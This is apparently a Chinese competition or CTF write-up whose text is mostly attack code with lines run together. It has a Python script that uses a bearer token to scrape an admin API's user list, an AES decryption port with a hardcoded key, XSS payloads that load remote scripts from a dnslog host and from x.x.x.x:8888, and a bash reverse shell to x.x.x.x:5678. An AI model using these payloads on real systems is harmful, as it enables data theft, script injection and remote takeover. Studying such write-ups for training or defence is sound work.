复盘第五期 |突破15/16题的关键，解题技巧倾囊相授-简慕

import requestsheaders = {'Host': 'scene-xsd7dbfj3xfdbtbp-teleframadmin-3000.zhigeng08.toolmao.com', 'Accept': 'application/json, text/plain, */*','Sec-Ch-Ua-Mobile': '?0', 'Authorization': 'BearereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoid3B2aXNuYmki LCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDMwOTExLCJleHAiOjE3MjEwNDI5MTF9.h_J3Z8Ml B1owipEspE2nrkF8tRxo5asMZfFVLRLg_z0','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36','Sec-Ch-Ua-Platform': '""', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://scene-xsd7dbfj3xfdbtbp-teleframadmin- 3000.zhigeng08.toolmao.com/chatUsers',# 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close',}for i in range(1,251): params = {'current': f'{i}','pageSize': '100',}

response = requests.get('https://scene-xsd7dbfj3xfdbtbp-teleframadmin- 3000.zhigeng08.toolmao.com/api/chater/list',params=params, headers=headers, verify=False,)print(111) print(response.text) file_path = "output.txt"with open(file_path, 'a') as file: file.write(response.text) file.write('n')

public final String getContent(Context context) {     Intrinsics.checkNotNullParameter(context, "context");return AesUtils.Companion.decrypt(context, this.encodeContent);}

public final String decrypt(Context context, String encodeContent) {     Intrinsics.checkNotNullParameter(context, "context"); Intrinsics.checkNotNullParameter(encodeContent, "encodeContent"); String key = getKey(context);String substring = key.substring(0, 16); Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
byte[] bytes = substring.getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)"); String substring2 = key.substring(16, key.length()); Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)"); byte[] bytes2 = substring2.getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(2, new SecretKeySpec(bytes, "AES"), ivParameterSpec);byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(encodeContent)); Intrinsics.checkNotNull(doFinal);return new String(doFinal, Charsets.UTF_8);转换成 python 代码进行解密：import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
def get_key(context):    return "4JQVC6Y3DNICA8NYBVKFLQQG0E6J89UT"
def decrypt(context, encode_content): key = get_key(context)substring = key[:16]bytes_key = substring.encode('utf-8') substring2 = key[16:]bytes_iv = substring2.encode('utf-8')
cipher = AES.new(bytes_key, AES.MODE_CBC, iv=bytes_iv) decoded_data = base64.b64decode(encode_content)decrypted_data = unpad(cipher.decrypt(decoded_data), AES.block_size)
return decrypted_data.decode('utf-8') with open('ciphers.txt', 'r') as file:    # 逐行读取文件内容并保存到列表中lines = file.readlines()
# 打印列表内容for line in lines:    print(line.strip()) for i in lines:        encode_content = f"{i}" print(decrypt(context, encode_content))

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHBzOi8vZTkzbHU2LmRuc2xvZy5jbi I+PC9zY3JpcHQ+"></object>

<object data="data:text/html;base64, <script src="http://x.x.x.x:8888/aaa.js"></script>

this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash - i >&/dev/tcp/x.x.x.x/5678 0>&1"')